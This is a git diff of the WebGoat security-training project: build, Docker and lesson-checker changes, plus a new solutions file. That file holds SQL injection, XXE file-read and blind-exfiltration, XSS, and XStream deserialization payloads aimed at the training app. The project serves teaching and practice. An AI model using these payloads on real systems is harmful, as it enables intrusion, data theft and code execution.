<groupId>junit</groupId>
|
<groupId>junit</groupId>
|
||||||
@ -96,12 +75,6 @@
|
|||||||
<version>4.1.3.RELEASE</version>
|
<version>4.1.3.RELEASE</version>
|
||||||
<scope>test</scope>
|
<scope>test</scope>
|
||||||
</dependency>
|
</dependency>
|
||||||
<dependency>
|
|
||||||
<groupId>com.github.fakemongo</groupId>
|
|
||||||
<artifactId>fongo</artifactId>
|
|
||||||
<version>2.1.0</version>
|
|
||||||
<scope>test</scope>
|
|
||||||
</dependency>
|
|
||||||
<dependency>
|
<dependency>
|
||||||
<groupId>org.owasp.encoder</groupId>
|
<groupId>org.owasp.encoder</groupId>
|
||||||
<artifactId>encoder</artifactId>
|
<artifactId>encoder</artifactId>
|
||||||
|
111
webgoat-lessons/sol.MD
Normal file
111
webgoat-lessons/sol.MD
Normal file
@ -0,0 +1,111 @@
|
|||||||
|
### SQLi ###
|
||||||
|
|
||||||
|
Basic
|
||||||
|
Smith - to show it returns smith's records.
|
||||||
|
To show exploit; `1=1` can be any true clause:
|
||||||
|
|
||||||
|
```sql
|
||||||
|
Smith' or '1'='1
|
||||||
|
```
|
||||||
|
|
||||||
|
**Bender Login**
|
||||||
|
```sql
|
||||||
|
bender@juice-sh.op' --
|
||||||
|
```
|
||||||
|
```sql
|
||||||
|
[2:19 PM]
|
||||||
|
101
|
||||||
|
101 or 1=1
|
||||||
|
```
|
||||||
|
```sql
|
||||||
|
Smith' union select userid,user_name, password,cookie,cookie, cookie,userid from user_system_data --
|
||||||
|
```
|
||||||
|
|
||||||
|
## XXE ##
|
||||||
|
|
||||||
|
Simple:
|
||||||
|
```xml
|
||||||
|
<?xml version="1.0" standalone="yes" ?><!DOCTYPE user [<!ENTITY root SYSTEM "file:///"> ]><comment><text>&root;</text></comment>
|
||||||
|
```
|
||||||
|
|
||||||
|
Modern Rest Framework:
|
||||||
|
Change content type to: `Content-Type: application/xml` and
|
||||||
|
```xml
|
||||||
|
<?xml version="1.0" standalone="yes" ?><!DOCTYPE user [<!ENTITY root SYSTEM "file:///"> ]><user> <username>&root;</username><password>test</password></user>
|
||||||
|
```
|
||||||
|
|
||||||
|
Blind SendFile
|
||||||
|
```xml
|
||||||
|
|
||||||
|
Solution:
|
||||||
|
|
||||||
|
Create DTD:
|
||||||
|
|
||||||
|
<pre>
|
||||||
|
<?xml version="1.0" encoding="UTF-8"?>
|
||||||
|
<!ENTITY % file SYSTEM "file:///c:/windows-version.txt">
|
||||||
|
<!ENTITY % all "<!ENTITY send SYSTEM 'http://localhost:8080/WebGoat/XXE/ping?text=%file;'>">
|
||||||
|
%all;
|
||||||
|
</pre>
|
||||||
|
|
||||||
|
This will be reduced to:
|
||||||
|
|
||||||
|
<pre>
|
||||||
|
<!ENTITY send SYSTEM 'http://localhost:8080/WebGoat/XXE/ping?text=[contents_file]'>
|
||||||
|
</pre>
|
||||||
|
|
||||||
|
Wire it all up in the xml send to the server:
|
||||||
|
|
||||||
|
<pre>
|
||||||
|
<?xml version="1.0"?>
|
||||||
|
<!DOCTYPE root [
|
||||||
|
<!ENTITY % remote SYSTEM "http://localhost:8080/WebGoat/plugin_lessons/XXE/test.dtd">
|
||||||
|
%remote;
|
||||||
|
]>
|
||||||
|
<user>
|
||||||
|
<username>test&send;</username>
|
||||||
|
</user>
|
||||||
|
|
||||||
|
</pre>
|
||||||
|
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
### XSS ###
|
||||||
|
```javascript
|
||||||
|
<script>alert('my javascript here')</script>4128 3214 0002 1999
|
||||||
|
```
|
||||||
|
|
||||||
|
DOM-XSS:
|
||||||
|
|
||||||
|
Something like
|
||||||
|
`http://localhost:8080/WebGoat/start.mvc#test/testParam=foobar&_someVar=234902384lotslsfjdOf9889080GarbageHere%3Cscript%3Ewebgoat.customjs.phoneHome();%3C%2Fscript%3E
|
||||||
|
//`
|
||||||
|
OR
|
||||||
|
`http://localhost:8080/WebGoat/start.mvc#test/testParam=foobar&_someVar=234902384lotslsfjdOf9889080GarbageHere<script>webgoat.customjs.phoneHome();<%2Fscript>`
|
||||||
|
|
||||||
|
### Vuln - Components ###
|
||||||
|
|
||||||
|
Jquery page: - it is contrived; but paste that in each box
|
||||||
|
```javascript
|
||||||
|
OK<script>alert("XSS")<\/script>
|
||||||
|
OK<script>alert("XSS")<\/script>
|
||||||
|
```
|
||||||
|
for the deserialization: got to the link: http://www.pwntester.com/blog/2013/12/23/rce-via-xstream-object-deserialization38/ to read about why it works so you can talk to it.
|
||||||
|
```html
|
||||||
|
<sorted-set>
|
||||||
|
<string>foo</string>
|
||||||
|
<dynamic-proxy>
|
||||||
|
<interface>java.lang.Comparable</interface>
|
||||||
|
<handler class="java.beans.EventHandler">
|
||||||
|
<target class="java.lang.ProcessBuilder">
|
||||||
|
<command>
|
||||||
|
<string>/Applications/Calculator.app/Contents/MacOS/Calculator</string>
|
||||||
|
</command>
|
||||||
|
</target>
|
||||||
|
<action>start</action>
|
||||||
|
</handler>
|
||||||
|
</dynamic-proxy>
|
||||||
|
</sorted-set>
|
||||||
|
|
||||||
|
```
|
@ -1,15 +1,29 @@
|
|||||||
== Special Characters
|
== Special Characters
|
||||||
|
|
||||||
|
[source]
|
||||||
|
----
|
||||||
/* */ are inline comments
|
/* */ are inline comments
|
||||||
-- , # are line comments
|
-- , # are line comments
|
||||||
'Select * from users where name = ‘admin’--and pass = ‘pass’'
|
|
||||||
|
|
||||||
|
Example: Select * from users where name = 'admin' --and pass = 'pass'
|
||||||
|
----
|
||||||
|
|
||||||
|
|
||||||
|
[source]
|
||||||
|
----
|
||||||
; allows query chaining
|
; allows query chaining
|
||||||
'Select * from users; drop table users;'
|
|
||||||
|
|
||||||
’,+,|| allows string concatenation
|
Example: Select * from users; drop table users;
|
||||||
|
----
|
||||||
|
|
||||||
|
[source]
|
||||||
|
----
|
||||||
|
',+,|| allows string concatenation
|
||||||
Char() strings without quotes
|
Char() strings without quotes
|
||||||
'Select * from users where name = ‘+char(27) or 1=1'
|
|
||||||
|
Example: Select * from users where name = '+char(27) or 1=1
|
||||||
|
----
|
||||||
|
|
||||||
|
|
||||||
== Special Statements
|
== Special Statements
|
||||||
|
|
||||||
|
70
webgoat-lessons/webgoat-lesson-template/getting-started.MD
Normal file
70
webgoat-lessons/webgoat-lesson-template/getting-started.MD
Normal file
@ -0,0 +1,70 @@
|
|||||||
|
### To include lesson template in build ###
|
||||||
|
1. Edit the webgoat-server/pom.xml file and uncomment the section under
|
||||||
|
```xml
|
||||||
|
<!--uncommment below to run/include lesson template in WebGoat Build-->
|
||||||
|
```
|
||||||
|
|
||||||
|
2. Also uncomment in webgoat-lessons/pom.xml where it says
|
||||||
|
```xml
|
||||||
|
<!-- uncomment below to include lesson template in build, also uncomment the dependency in webgoat-server/pom.xml-->
|
||||||
|
```
|
||||||
|
|
||||||
|
### To add a lesson to WebGoat ###
|
||||||
|
|
||||||
|
There are a number of moving parts and this sample lesson will help you navigate those parts. Most of your work will be done in two directories. To start though, you can copy this directory with the name of your-lesson in the webgoat-lessons directory.
|
||||||
|
|
||||||
|
0. The POM file
|
||||||
|
|
||||||
|
* Change the line to give your lesson its own artifactId.
|
||||||
|
That should be all you need to do there:
|
||||||
|
```xml
|
||||||
|
<artifactId>webgoat-lesson-template</artifactId>
|
||||||
|
```
|
||||||
|
1. The Base Class
|
||||||
|
|
||||||
|
* The name of the class (file and class name) to better match your lesson. (e.g. `sql-injection` >> `SqlInjection`)
|
||||||
|
* The category in which you want your lesson to be in. You can create a new category if you want, or put in an issue to have one added.
|
||||||
|
* The `defaultRanking` will move your lesson up or down in the categories list.
|
||||||
|
* Implement a new key name pair `lesson-template.title` (the key) and update the same key/value pair `your.key=your value` in src/main/resources/i18n/WebGoatLabels.properties.
|
||||||
|
* Implement a new value for the `getId` method, which leads us to...
|
||||||
|
|
||||||
|
2. The HTML content framing
|
||||||
|
|
||||||
|
* Rename the provided file in src/main/resources/html using your value from the `getId` method in your lesson's base class:
|
||||||
|
e.g.
|
||||||
|
`public String getId() { return "your-lesson"; }` >> `your-lesson.html`
|
||||||
|
* Modify that file following the commented instructions in there.
|
||||||
|
* In conjunction with this file you.
|
||||||
|
|
||||||
|
3. Assignment Endpoints
|
||||||
|
* In the above html file, you will see an example of an 'attack form'. You can create endpoints to handle these attacks and provide the user feedback and simulated output. See the example file here as well as other existing lessons for ways to extend these. You will extend the `AssignmentEndpoint` as the example will show:
|
||||||
|
* You can also create supporting (non-assignment) endpoints, that are not evaluated/graded.
|
||||||
|
* See other lesson examples for creating unit/integration tests for your project as well.
|
||||||
|
|
||||||
|
|
||||||
|
4. Getting your lesson to show up
|
||||||
|
|
||||||
|
* Modify the webgoat-lessons/pom.xml to include your project in the `<modules>` section:
|
||||||
|
```xml
|
||||||
|
<modules>
|
||||||
|
<!-- ... -->
|
||||||
|
<module>webgoat-lesson-template</module>
|
||||||
|
<!-- ... -->
|
||||||
|
</modules>
|
||||||
|
```
|
||||||
|
|
||||||
|
* Modify the webgoat-server/pom.xml to add your project as a dependency in the `<dependencies>` section:
|
||||||
|
```xml
|
||||||
|
<dependencies>
|
||||||
|
<!-- .... >
|
||||||
|
<dependency>
|
||||||
|
<groupId>org.owasp.webgoat.lesson</groupId>
|
||||||
|
<artifactId>your-artfifact-id-here</artifactId>
|
||||||
|
<version>${project.version}</version>
|
||||||
|
</dependency>
|
||||||
|
<!-- .... >
|
||||||
|
</dependencies>
|
||||||
|
```
|
||||||
|
|
||||||
|
|
||||||
|
5. You should be ready to run and test your project. Please create issues at https://github.com/WebGoat/WebGoat if there errors or confusion with this documentation/template
|
@ -1,55 +0,0 @@
|
|||||||
##### To include lesson template in build #####
|
|
||||||
1. edit theh webgoat-server/pom.xml file and uncomment the section under ...
|
|
||||||
<!--uncommment below to run/include lesson template in WebGoat Build-->
|
|
||||||
|
|
||||||
2. Also uncomment in webgoat-lessons/pom.xml where it says ...
|
|
||||||
<!-- uncomment below to include lesson template in build, also uncomment the dependency in webgoat-server/pom.xml-->
|
|
||||||
|
|
||||||
##### To add a lesson to WebGoat #####
|
|
||||||
|
|
||||||
There are a number of moving parts and this sample lesson will help you navigate those parts. Most of your work will be done in two directories. To start though, you can copy this directory with the name of your-lesson in the webgoat-lessons directory.
|
|
||||||
|
|
||||||
0. The POM file
|
|
||||||
a. change the ...
|
|
||||||
<artifactId>webgoat-lesson-template</artifactId>
|
|
||||||
... line to give your lesson its own artifactId.That should be all you need to do there
|
|
||||||
|
|
||||||
1. The Base Class ...
|
|
||||||
a. The name of the class (file and class name) to better match your lesson (e.g. sql-injection >> SqlInjection)
|
|
||||||
b. the category in which you want your lesson to be in. You can create a new category if you want, or put in an issue to have one added
|
|
||||||
c. The 'defaultRanking' will move your lesson up or down in the categories list
|
|
||||||
d. implement a new key name pair "lesson-template.title" (the key) and update the same key/value pair (your.key=your value) in src/main/resources/i18n/WebGoatLabels.properties
|
|
||||||
e. Implement a new value for the getId method, which leads us to ...
|
|
||||||
|
|
||||||
2. The HTML content framing ...
|
|
||||||
a. Rename the provided file in src/main/resources/html using your value from the getId method in your lesson's base class (e.g. public String getId() { return "your-lesson"; } >> "your-lesson.html")
|
|
||||||
b. Modify that file following the commented instructions in there
|
|
||||||
c. In conjunction with this file you
|
|
||||||
|
|
||||||
3. Assignment Endpoints
|
|
||||||
a. In the above html file, you will see an example of an 'attack form'. You can create endpoints to handle these attacks and provide the user feedback and simulated output. See the example file here as well as other existing lessons for ways to extend these. You will extend the AssignmentEndpoint as the example will show
|
|
||||||
b. You can also create supporting (non-assignment) endpoints, that are not evaluated/graded.
|
|
||||||
c. See other lesson examples for creating unit/integration tests for your project as well
|
|
||||||
|
|
||||||
|
|
||||||
4. Getting your lesson to show up
|
|
||||||
a. modify the webgoat-lessons/pom.xml to include your project in the <modules> section
|
|
||||||
<modules>
|
|
||||||
<!-- ... -->
|
|
||||||
<module>webgoat-lesson-template</module>
|
|
||||||
<!-- ... -->
|
|
||||||
</modules>
|
|
||||||
|
|
||||||
b. modify the webgoat-server/pom.xml to add your project as a dependency in the <dependencies> section ...
|
|
||||||
<dependencies>
|
|
||||||
<!-- .... >
|
|
||||||
<dependency>
|
|
||||||
<groupId>org.owasp.webgoat.lesson</groupId>
|
|
||||||
<artifactId>your-artfifact-id-here</artifactId>
|
|
||||||
<version>${project.version}</version>
|
|
||||||
</dependency>
|
|
||||||
<!-- .... >
|
|
||||||
<dependencies>
|
|
||||||
|
|
||||||
|
|
||||||
5. You should be ready to run and test your project. Please create issues at https://github.com/WebGoat/WebGoat if there errors or confusion with this documentation/template
|
|
@ -48,7 +48,7 @@ public class WebWolfIntroduction extends NewLesson {
|
|||||||
|
|
||||||
@Override
|
@Override
|
||||||
public Integer getDefaultRanking() {
|
public Integer getDefaultRanking() {
|
||||||
return 1;
|
return 10;
|
||||||
}
|
}
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
|
@ -27,5 +27,5 @@ docker pull webwolf/webwolf-8.0
|
|||||||
docker run -it 8081:8081 /home/webwolf/run.sh
|
docker run -it 8081:8081 /home/webwolf/run.sh
|
||||||
```
|
```
|
||||||
|
|
||||||
This will start the application on port 8081, in your browser type: `http://localhost:8081/WebWolf`
|
This will start the application on port 8081, click webWolfLink:here[] to open WebWolf.
|
||||||
You will be redirected to the login page where you need to login with your WebGoat username and password
|
First thing you need to do is register a new user within WebWolf.
|
@ -46,7 +46,7 @@ import static org.springframework.http.MediaType.APPLICATION_JSON_VALUE;
|
|||||||
@AssignmentHints({"xxe.hints.content.type.xxe.1", "xxe.hints.content.type.xxe.2"})
|
@AssignmentHints({"xxe.hints.content.type.xxe.1", "xxe.hints.content.type.xxe.2"})
|
||||||
public class ContentTypeAssignment extends AssignmentEndpoint {
|
public class ContentTypeAssignment extends AssignmentEndpoint {
|
||||||
|
|
||||||
private final static String[] DEFAULT_LINUX_DIRECTORIES = {"usr", "opt", "var"};
|
private final static String[] DEFAULT_LINUX_DIRECTORIES = {"usr", "etc", "var"};
|
||||||
private final static String[] DEFAULT_WINDOWS_DIRECTORIES = {"Windows", "Program Files (x86)", "Program Files"};
|
private final static String[] DEFAULT_WINDOWS_DIRECTORIES = {"Windows", "Program Files (x86)", "Program Files"};
|
||||||
|
|
||||||
|
|
||||||
@ -85,7 +85,7 @@ public class ContentTypeAssignment extends AssignmentEndpoint {
|
|||||||
}
|
}
|
||||||
|
|
||||||
private boolean checkSolution(Comment comment) {
|
private boolean checkSolution(Comment comment) {
|
||||||
String[] directoriesToCheck = OS.isFamilyUnix() ? DEFAULT_LINUX_DIRECTORIES : DEFAULT_WINDOWS_DIRECTORIES;
|
String[] directoriesToCheck = OS.isFamilyMac() || OS.isFamilyUnix() ? DEFAULT_LINUX_DIRECTORIES : DEFAULT_WINDOWS_DIRECTORIES;
|
||||||
boolean success = true;
|
boolean success = true;
|
||||||
for (String directory : directoriesToCheck) {
|
for (String directory : directoriesToCheck) {
|
||||||
success &= org.apache.commons.lang3.StringUtils.contains(comment.getText(), directory);
|
success &= org.apache.commons.lang3.StringUtils.contains(comment.getText(), directory);
|
||||||
|
@ -54,7 +54,7 @@ import static org.springframework.web.bind.annotation.RequestMethod.POST;
|
|||||||
@AssignmentHints({"xxe.hints.simple.xxe.1", "xxe.hints.simple.xxe.2", "xxe.hints.simple.xxe.3", "xxe.hints.simple.xxe.4"})
|
@AssignmentHints({"xxe.hints.simple.xxe.1", "xxe.hints.simple.xxe.2", "xxe.hints.simple.xxe.3", "xxe.hints.simple.xxe.4"})
|
||||||
public class SimpleXXE extends AssignmentEndpoint {
|
public class SimpleXXE extends AssignmentEndpoint {
|
||||||
|
|
||||||
private final static String[] DEFAULT_LINUX_DIRECTORIES = {"usr", "opt", "var"};
|
private final static String[] DEFAULT_LINUX_DIRECTORIES = {"usr", "etc", "var"};
|
||||||
private final static String[] DEFAULT_WINDOWS_DIRECTORIES = {"Windows", "Program Files (x86)", "Program Files"};
|
private final static String[] DEFAULT_WINDOWS_DIRECTORIES = {"Windows", "Program Files (x86)", "Program Files"};
|
||||||
|
|
||||||
@Value("${webgoat.server.directory}")
|
@Value("${webgoat.server.directory}")
|
||||||
@ -77,12 +77,11 @@ public class SimpleXXE extends AssignmentEndpoint {
|
|||||||
}
|
}
|
||||||
return trackProgress(failed().output(error).build());
|
return trackProgress(failed().output(error).build());
|
||||||
}
|
}
|
||||||
|
|
||||||
private boolean checkSolution(Comment comment) {
|
private boolean checkSolution(Comment comment) {
|
||||||
String[] directoriesToCheck = OS.isFamilyUnix() ? DEFAULT_LINUX_DIRECTORIES : DEFAULT_WINDOWS_DIRECTORIES;
|
String[] directoriesToCheck = OS.isFamilyMac() || OS.isFamilyUnix() ? DEFAULT_LINUX_DIRECTORIES : DEFAULT_WINDOWS_DIRECTORIES;
|
||||||
boolean success = true;
|
boolean success = true;
|
||||||
for (String directory : directoriesToCheck) {
|
for (String directory : directoriesToCheck) {
|
||||||
success &= comment.getText().contains(directory);
|
success &= org.apache.commons.lang3.StringUtils.contains(comment.getText(), directory);
|
||||||
}
|
}
|
||||||
return success;
|
return success;
|
||||||
}
|
}
|
||||||
|
@ -2,15 +2,14 @@ FROM openjdk:8-jre-slim
|
|||||||
|
|
||||||
ARG webgoat_version=8.0-SNAPSHOT
|
ARG webgoat_version=8.0-SNAPSHOT
|
||||||
|
|
||||||
RUN useradd --home-dir /home/webgoat --create-home -U webgoat
|
RUN \
|
||||||
|
apt-get update && apt-get install && \
|
||||||
RUN apt-get update; apt-get install curl -y
|
useradd --home-dir /home/webgoat --create-home -U webgoat && \
|
||||||
|
cd /home/webgoat/; mkdir -p .webgoat
|
||||||
COPY start.sh /home/webgoat/start.sh
|
|
||||||
RUN chmod +x /home/webgoat/start.sh
|
|
||||||
|
|
||||||
USER webgoat
|
USER webgoat
|
||||||
RUN mkdir -p /home/webgoat/.embedmongo/linux
|
|
||||||
RUN curl -o /home/webgoat/.embedmongo/linux/mongodb-linux-x86_64-3.2.2.tgz https://fastdl.mongodb.org/linux/mongodb-linux-x86_64-3.2.2.tgz
|
|
||||||
RUN cd /home/webgoat/; mkdir -p .webgoat
|
|
||||||
COPY target/webgoat-server-${webgoat_version}.jar /home/webgoat/webgoat.jar
|
COPY target/webgoat-server-${webgoat_version}.jar /home/webgoat/webgoat.jar
|
||||||
|
|
||||||
|
ENTRYPOINT ["java", "-Djava.security.egd=file:/dev/./urandom", "-jar", "/home/webgoat/webgoat.jar", "--server.address=0.0.0.0"]
|
||||||
|
|
||||||
|
EXPOSE 8080
|
@ -90,11 +90,6 @@
|
|||||||
<scope>test</scope>
|
<scope>test</scope>
|
||||||
<optional>true</optional>
|
<optional>true</optional>
|
||||||
</dependency>
|
</dependency>
|
||||||
<dependency>
|
|
||||||
<groupId>de.flapdoodle.embed</groupId>
|
|
||||||
<artifactId>de.flapdoodle.embed.mongo</artifactId>
|
|
||||||
<version>2.0.0</version>
|
|
||||||
</dependency>
|
|
||||||
<dependency>
|
<dependency>
|
||||||
<groupId>org.owasp.webgoat</groupId>
|
<groupId>org.owasp.webgoat</groupId>
|
||||||
<artifactId>webgoat-container</artifactId>
|
<artifactId>webgoat-container</artifactId>
|
||||||
|
@ -1,40 +0,0 @@
|
|||||||
package org.owasp.webgoat;
|
|
||||||
|
|
||||||
import com.mongodb.MongoClient;
|
|
||||||
import com.mongodb.MongoClientOptions;
|
|
||||||
import de.flapdoodle.embed.mongo.MongodExecutable;
|
|
||||||
import org.springframework.beans.factory.annotation.Autowired;
|
|
||||||
import org.springframework.boot.autoconfigure.condition.ConditionalOnProperty;
|
|
||||||
import org.springframework.boot.autoconfigure.mongo.MongoProperties;
|
|
||||||
import org.springframework.context.annotation.Bean;
|
|
||||||
import org.springframework.context.annotation.Configuration;
|
|
||||||
import org.springframework.core.env.Environment;
|
|
||||||
import org.springframework.data.mongodb.MongoDbFactory;
|
|
||||||
import org.springframework.data.mongodb.core.SimpleMongoDbFactory;
|
|
||||||
|
|
||||||
import java.io.IOException;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* If we run
|
|
||||||
*/
|
|
||||||
@Configuration
|
|
||||||
@ConditionalOnProperty(value = "webgoat.embedded.mongo", havingValue = "false")
|
|
||||||
public class ExternalMongoConfiguration {
|
|
||||||
|
|
||||||
@Autowired
|
|
||||||
private MongoProperties properties;
|
|
||||||
|
|
||||||
@Autowired(required = false)
|
|
||||||
private MongoClientOptions options;
|
|
||||||
|
|
||||||
@Bean
|
|
||||||
public MongodExecutable mongodExecutable() throws IOException {
|
|
||||||
return null;
|
|
||||||
}
|
|
||||||
|
|
||||||
@Bean
|
|
||||||
public MongoDbFactory mongoDbFactory(Environment env) throws Exception {
|
|
||||||
MongoClient client = properties.createMongoClient(this.options, env);
|
|
||||||
return new SimpleMongoDbFactory(client, properties.getDatabase());
|
|
||||||
}
|
|
||||||
}
|
|
@ -1,3 +0,0 @@
|
|||||||
#!/bin/sh
|
|
||||||
|
|
||||||
java -jar -Djava.security.egd=file:/dev/./urandom /home/webgoat/webgoat.jar
|
|
@ -1,4 +0,0 @@
|
|||||||
WG_MONGO_PORT=27017
|
|
||||||
WG_MONGO_HOST=mongo
|
|
||||||
WG_MQ_HOST=activemq
|
|
||||||
WG_MQ_PORT=61616
|
|
@ -1,146 +0,0 @@
|
|||||||
#!/bin/bash
|
|
||||||
|
|
||||||
# Bootstrap the setup of WebGoat for developer use in Linux and Mac machines
|
|
||||||
# This script will clone the necessary git repositories, call the maven goals
|
|
||||||
# in the order the are needed and launch tomcat listening on localhost:8080
|
|
||||||
# Happy hacking !
|
|
||||||
|
|
||||||
# Find out what is our terminal size
|
|
||||||
COLS="$(tput cols)"
|
|
||||||
if (( COLS <= 0 )) ; then
|
|
||||||
COLS="${COLUMNS:-80}"
|
|
||||||
fi
|
|
||||||
|
|
||||||
# Colors
|
|
||||||
ESC_SEQ="\x1b["
|
|
||||||
COL_RESET=$ESC_SEQ"39;49;00m"
|
|
||||||
COL_RED=$ESC_SEQ"31;01m"
|
|
||||||
COL_GREEN=$ESC_SEQ"32;01m"
|
|
||||||
COL_YELLOW=$ESC_SEQ"33;01m"
|
|
||||||
COL_BLUE=$ESC_SEQ"34;01m"
|
|
||||||
COL_MAGENTA=$ESC_SEQ"35;01m"
|
|
||||||
COL_CYAN=$ESC_SEQ"36;01m"
|
|
||||||
|
|
||||||
# Horizontal Rule function
|
|
||||||
horizontal_rule() {
|
|
||||||
local WORD
|
|
||||||
|
|
||||||
for WORD in "#"
|
|
||||||
do
|
|
||||||
hr "$WORD"
|
|
||||||
done
|
|
||||||
}
|
|
||||||
|
|
||||||
hr() {
|
|
||||||
local WORD="$1"
|
|
||||||
if [[ -n "$WORD" ]] ; then
|
|
||||||
local LINE=''
|
|
||||||
while (( ${#LINE} < COLS ))
|
|
||||||
do
|
|
||||||
LINE="$LINE$WORD"
|
|
||||||
done
|
|
||||||
|
|
||||||
echo -e "${LINE:0:$COLS}"
|
|
||||||
fi
|
|
||||||
}
|
|
||||||
|
|
||||||
## test if command exists
|
|
||||||
ftest() {
|
|
||||||
echo -e "$COL_CYAN info: Checking if ${1} is installed $COL_RESET"
|
|
||||||
if ! type "${1}" > /dev/null 2>&1; then
|
|
||||||
return 1
|
|
||||||
else
|
|
||||||
return 0
|
|
||||||
fi
|
|
||||||
}
|
|
||||||
|
|
||||||
|
|
||||||
## feature tests
|
|
||||||
features() {
|
|
||||||
for f in "${@}"; do
|
|
||||||
ftest "${f}" || {
|
|
||||||
echo -e >&2 "***$COL_RED ERROR: Missing \`${f}'! Make sure it exists and try again. $COL_RESET"
|
|
||||||
return 1
|
|
||||||
}
|
|
||||||
done
|
|
||||||
return 0
|
|
||||||
}
|
|
||||||
|
|
||||||
tomcat_started () {
|
|
||||||
STAT=`netstat -na | grep 8080 | awk '{print $6}'`
|
|
||||||
if [ "$STAT" = "LISTEN" ]; then
|
|
||||||
echo -e "$COL_GREEN WebGoat has started successfully! Browse to the following address. $COL_RESET"
|
|
||||||
echo -e "$COL_CYAN Happy Hacking! $COL_RESET"
|
|
||||||
return 0
|
|
||||||
|
|
||||||
elif [ "$STAT" = "" ]; then
|
|
||||||
echo -e "$COL_RED WebGoat failed to start up.... please wait run the following command for debugging : $COL_RESET"
|
|
||||||
echo -e "$COL_MAGENTA mvn -q -file WebGoat/pom.xml -pl webgoat-container tomcat7:run-war"
|
|
||||||
fi
|
|
||||||
return 1
|
|
||||||
}
|
|
||||||
|
|
||||||
|
|
||||||
## main setup
|
|
||||||
developer_bootstrap() {
|
|
||||||
horizontal_rule
|
|
||||||
echo -e "$COL_RED
|
|
||||||
██╗ ██╗███████╗██████╗ ██████╗ ██████╗ █████╗ ████████╗
|
|
||||||
██║ ██║██╔════╝██╔══██╗██╔════╝ ██╔═══██╗██╔══██╗╚══██╔══╝
|
|
||||||
██║ █╗ ██║█████╗ ██████╔╝██║ ███╗██║ ██║███████║ ██║
|
|
||||||
██║███╗██║██╔══╝ ██╔══██╗██║ ██║██║ ██║██╔══██║ ██║
|
|
||||||
╚███╔███╔╝███████╗██████╔╝╚██████╔╝╚██████╔╝██║ ██║ ██║
|
|
||||||
╚══╝╚══╝ ╚══════╝╚═════╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝ ╚═╝
|
|
||||||
$COL_RESET"
|
|
||||||
horizontal_rule
|
|
||||||
echo -e "Welcome to the WebGoat Developer Bootstrap script for Linux/Mac."
|
|
||||||
echo -e "Now checking if all the required software to run WebGoat is already installed."
|
|
||||||
echo -e "FYI: This Developer Bootstrap Script for WebGoat requires: Git, Java JDK and Maven accessible on the path"
|
|
||||||
|
|
||||||
## test for require features
|
|
||||||
features git mvn java || return $?
|
|
||||||
|
|
||||||
# Clone WebGoat from github
|
|
||||||
if [ ! -d "WebGoat" ]; then
|
|
||||||
echo -e "Cloning the WebGoat container repository"
|
|
||||||
git clone https://github.com/WebGoat/WebGoat.git
|
|
||||||
else
|
|
||||||
horizontal_rule
|
|
||||||
(
|
|
||||||
echo -e "$COL_YELLOW The WebGoat container repo has already been clonned before, pulling upstream changes. $COL_RESET"
|
|
||||||
cd WebGoat || {
|
|
||||||
echo -e >&2 "$COL_RED *** ERROR: Could not cd into the WebGoat Directory. $COL_RESET"
|
|
||||||
return 1
|
|
||||||
}
|
|
||||||
git pull origin develop
|
|
||||||
)
|
|
||||||
fi
|
|
||||||
|
|
||||||
# Start the embedded Tomcat server
|
|
||||||
echo -e "$COL_MAGENTA"
|
|
||||||
horizontal_rule
|
|
||||||
horizontal_rule
|
|
||||||
horizontal_rule
|
|
||||||
horizontal_rule
|
|
||||||
echo "$COL_MAGENTA"
|
|
||||||
echo "$COL_CYAN ***** Starting WebGoat using the embedded Tomcat ***** $COL_RESET"
|
|
||||||
echo " Please be patient.... The startup of the server takes about 5 seconds..."
|
|
||||||
echo " WebGoat will be ready for you when you see the following message on the command prompt:"
|
|
||||||
echo "$COL_YELLOW INFO: Starting ProtocolHandler ["http-bio-8080"] $COL_RESET"
|
|
||||||
echo "$COL_CYAN When you see the message above, open a web browser and navigate to http://localhost:8080/WebGoat/ $COL_RESET"
|
|
||||||
echo " To stop the WebGoat and Tomcat Execution execution, press CTRL + C"
|
|
||||||
echo "$COL_RED If you close this terminal window, Tomcat and WebGoat will stop running $COL_RESET"
|
|
||||||
echo "$COL_MAGENTA"
|
|
||||||
horizontal_rule
|
|
||||||
horizontal_rule
|
|
||||||
horizontal_rule
|
|
||||||
horizontal_rule
|
|
||||||
echo -e "$COL_RESET"
|
|
||||||
sleep 5
|
|
||||||
|
|
||||||
# Starting WebGoat
|
|
||||||
mvn -q -pl webgoat-container spring-boot:run
|
|
||||||
}
|
|
||||||
|
|
||||||
# Start main script
|
|
||||||
developer_bootstrap
|
|
@ -2,12 +2,13 @@ FROM openjdk:8-jre-slim
|
|||||||
|
|
||||||
ARG webwolf_version=8.0-SNAPSHOT
|
ARG webwolf_version=8.0-SNAPSHOT
|
||||||
|
|
||||||
RUN useradd --home-dir /home/webwolf --create-home -U webwolf
|
RUN \
|
||||||
|
apt-get update && apt-get install && \
|
||||||
RUN apt-get update; apt-get install curl -y
|
useradd --home-dir /home/webwolf --create-home -U webwolf
|
||||||
|
|
||||||
COPY start.sh /home/webwolf/start.sh
|
|
||||||
RUN chmod +x /home/webwolf/start.sh
|
|
||||||
|
|
||||||
USER webwolf
|
USER webwolf
|
||||||
COPY target/webwolf-${webwolf_version}.jar /home/webwolf/webwolf.jar
|
COPY target/webwolf-${webwolf_version}.jar /home/webwolf/webwolf.jar
|
||||||
|
|
||||||
|
ENTRYPOINT ["java", "-Djava.security.egd=file:/dev/./urandom", "-jar", "/home/webwolf/webwolf.jar", "--server.address=0.0.0.0"]
|
||||||
|
|
||||||
|
EXPOSE 8081
|
||||||
|
@ -55,7 +55,7 @@
|
|||||||
</dependency>
|
</dependency>
|
||||||
<dependency>
|
<dependency>
|
||||||
<groupId>org.springframework.boot</groupId>
|
<groupId>org.springframework.boot</groupId>
|
||||||
<artifactId>spring-boot-starter-data-mongodb</artifactId>
|
<artifactId>spring-boot-starter-data-jpa</artifactId>
|
||||||
</dependency>
|
</dependency>
|
||||||
<dependency>
|
<dependency>
|
||||||
<groupId>org.springframework.boot</groupId>
|
<groupId>org.springframework.boot</groupId>
|
||||||
@ -73,6 +73,18 @@
|
|||||||
<artifactId>jquery</artifactId>
|
<artifactId>jquery</artifactId>
|
||||||
<version>3.2.1</version>
|
<version>3.2.1</version>
|
||||||
</dependency>
|
</dependency>
|
||||||
|
<dependency>
|
||||||
|
<groupId>org.hsqldb</groupId>
|
||||||
|
<artifactId>hsqldb</artifactId>
|
||||||
|
<version>${hsqldb.version}</version>
|
||||||
|
